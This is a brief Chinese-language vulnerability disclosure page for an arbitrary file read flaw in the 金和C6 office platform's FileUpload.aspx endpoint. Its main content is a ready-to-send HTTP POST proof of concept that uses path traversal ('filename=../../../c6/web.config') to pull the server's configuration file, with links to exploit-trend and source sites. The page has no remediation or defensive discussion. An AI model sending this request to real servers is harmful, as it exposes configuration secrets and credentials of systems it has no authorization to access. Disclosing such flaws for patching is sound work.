金和C6 FileUpload.aspx 存在任意文件读取漏洞

2025-07-26 金和C6 PoC Public

Description

金和C6 FileUpload.aspx 存在文件读取漏洞，利用此漏洞可获取服务器敏感信息。

PoC

POST /c6/JHSoft.WCF/FunctionNew/FileUpload.aspx/ HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded

filename=../../../c6/web.config

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://www.ddpoc.com/DVB-2025-9762.html

References

Related Vulnerabilities